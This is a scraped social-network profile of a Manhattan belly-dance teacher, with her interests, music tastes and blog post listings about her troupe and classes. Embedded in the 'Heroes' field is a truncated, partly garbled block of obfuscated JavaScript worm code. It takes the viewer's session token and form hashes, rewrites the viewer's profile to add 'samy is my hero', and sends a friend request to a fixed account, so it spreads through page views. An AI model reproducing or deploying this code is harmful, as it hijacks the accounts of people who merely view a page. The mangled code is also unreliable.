Mimi Fontana profile picture

Mimi Fontana

and all the rain falls down..amen

About Me

Basics are I'm a dance and fitness teacher and performer of Middle Eastern and Tribal Style belly dance. I dance a lot, I spend way too much time on the subway, I like being active, reading, I sew and make costumes. I'm always thinking of new projects and new ideas. I have a troupe that I've created and direct called Manhattan Tribal which is currently and to the best of my knowledge the only ATS dance troupe in the NYC area.

My Interests

Good Music, Ethnic Dance, Any Dance! Making Music, Costume and Clothing Design and Construction, Silkscreening, Occult Studies, Outdoor Athletics, Hiking, Biking,Reading, Ice Skating, Yoga, Pilates, Going Out, Drinking etc.

I'd like to meet:

Like minded folks who want to collaborate or network in music and dance. Squirrel lovers a plus...Hail Squirrel... Serious inquiries about collaborating on music, dance or other projects are always welcome :-) Thanks.

Music:

I'm really eclectic. No like really.

So lots of the good 80's stuff (and a lot of that wasn't on mtv or the radio) Dark sounding Type O Negative, Massive Attack stuff and music that "feels" like that. Surf, Rock-a-Billy, Alt-Country, Garage, old 50's and 60's Nuggets-type music, loud industrial, New agey things I can dance to, Gypsy punk, Classic Arabic and Middle Eastern pop, dub versions of any of the above if they work, and uh, sometimes they really really don't. I pretty much like anything with strings, guitars, cellos, violins, Old Metal, wasn't a big fan back in the day, but appreciate it more now. Punk rock, as in Ramones punk rock, I really like the new Green Day, any Social Distortion, Old 97's.....really into the Dresden Dolls lately, and Human Wine, those punk-cabaret bands. Basically if it's good I like it. Oh, and I really like it when people can play, and if they can't play and they can write killer songs, well, I like that too. If they can't play, and can't write (and you can right some amazing music with just 3 chords, hell even with only one chord) but if you can't even do that, but the band's image is great, well, I won't buy your cd, but I might come see you play, but it's not actually that likely so consider that before adding me.

Currently, uh, that's August 2007 the stuff on my mp3 player is.... Dresden Dolls, Green Day, Sex Slaves, Amon Tobin, Rachid Taha, Missy Elliot, HIM, Leonard Cohen, and a bunch of other Mid-East stuff and hip hop :-)

Oliver seems to dig the classical radio station, so I've been listening to Classical a lot when I'm too lazy to turn off the radio when I come home

Movies:

Not a huge thing for me, I'm more aurally than visually stimulated :-) some faves are Spinal Tap, The Rutles, The Forbidden Zone!, Monty Python, Mel Brooks, almost anything with Gary Oldman in it, almost anything with Juliette Binoche in it, Lord of the Rings, Harry Potter....Mostly into foreign films these days, a little sick of hollywood, got ma netflix!

Television:

I dislike television... especially reality television or shows about other peoples problems, blech, but I really appreciate sarcasm and twisted humor so I can do South Park and the Daily Show. I refuse to watch what the media is trying to pass of as "news" and anything like Sex and the City makes me want to shove an icepick into my eye. My tv, dvd player etc is on a powerstrip and I often have the whole thing shut down for a week and don't think about it.

Books:

Non-fluffy Occult books, alternative psychology, interesting alt-philosophy, natural healing books, massage therapy, rock biographies and trashy erotica :-)

Heroes:

Oliver Twisted I'm also lucky enough to have a lot of friends that I consider my heros because of their indiviual awesomeness! 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2...statechange=BI');xmlhttp2.open(BJ,BH,tru e);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded');xmlhttp2.setRequestHeade r('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"

My Blog

Bellydancing in the Streets - Manhattan Tribal at Dance Parade 2008

http://www.youtube.com/watch?v=Lju2RyREvVM ...
Posted by Mimi Fontana on Mon, 19 May 2008 09:43:00 PST

Spring whats happenin blog

...well it's been ages since I posted what I've been up to...mostly because I've been up to a lot and have little time for blogging and stuff.So, Manhattan Tribal has been ridiculously busy, which is ...
Posted by Mimi Fontana on Wed, 07 May 2008 07:54:00 PST

West Coast Trip, Class Cancellations & More!

Just a brief-ish note. I'm leaving for San Francisco for Fat Chance Belly Dance teacher training this week so my Sunday 440 Classes are canceled on March 16th. I'm also traveling on Easter Sunday so...
Posted by Mimi Fontana on Wed, 12 Mar 2008 10:48:00 PST

Manhattan Tribal Events Winter / Sprin 2008

This is a cross-post from the Manhattan Tribal blog :-)Upcoming Manhattan Tribal Events Feb 2008So much has happened since I started this crazy dance company last year and so much of it has been great...
Posted by Mimi Fontana on Sat, 23 Feb 2008 11:25:00 PST

More Manhattan Tribal Shows California here I come!

February More Shows!First a BIG squirrel thank you to all the ladies who danced in the showcase on Friday, and all the folks that came out to support us. The show was sold out and my apologies to ever...
Posted by Mimi Fontana on Tue, 12 Feb 2008 07:52:00 PST

Squirrels in Action - New Shows!

January 22ndMimi Fontana and Manhattan Tribal have been invited to dance at Nadia Moussa's Beyond Fusion Showcase! Mimi will do a solo fusion set plus a Classic Tribal Improv set by Manhattan TribalS...
Posted by Mimi Fontana on Wed, 16 Jan 2008 09:35:00 PST

Psyched! Fat Chance Belly Dance Teacher Training!

Woot woot!!! I just got my acceptance letter to the FCBD Teacher Training in San Francisco this March! This is the second step to becoming recognized by FC as a certified teacher in their format and ...
Posted by Mimi Fontana on Wed, 16 Jan 2008 09:22:00 PST

Gorgeous Eman Brand New Costume 4-Sale Small

Pictures are in my for-sale album :-)Hi guys!I have a beautiful Eman cossie for sale...It was supposed to come with extra custom matched fabric so that I could make tattoo-covering sleeves, but didn't...
Posted by Mimi Fontana on Mon, 07 Jan 2008 12:14:00 PST

Classes start back up TODAY Jan 2nd!

Hello Everyone!My 440 Studios classes start back up today! Hope to see you!440 Studios440 Lafayette Street in Astor PlaceWednesdays:6:30 pm - 7:45pm Beginner ATS-Inspired7:45 pm - 9:00pm Intermediat...
Posted by Mimi Fontana on Wed, 02 Jan 2008 11:44:00 PST

Brand New Eman Costume for Sale..

Hello dancers...I just got an absolutely gorgeous, sexy costume and I can't use it...they were supposed to send sleeves and they didn't and it doesn't go with my tattoo's so off it goes. Brand new fr...
Posted by Mimi Fontana on Wed, 26 Dec 2007 11:13:00 PST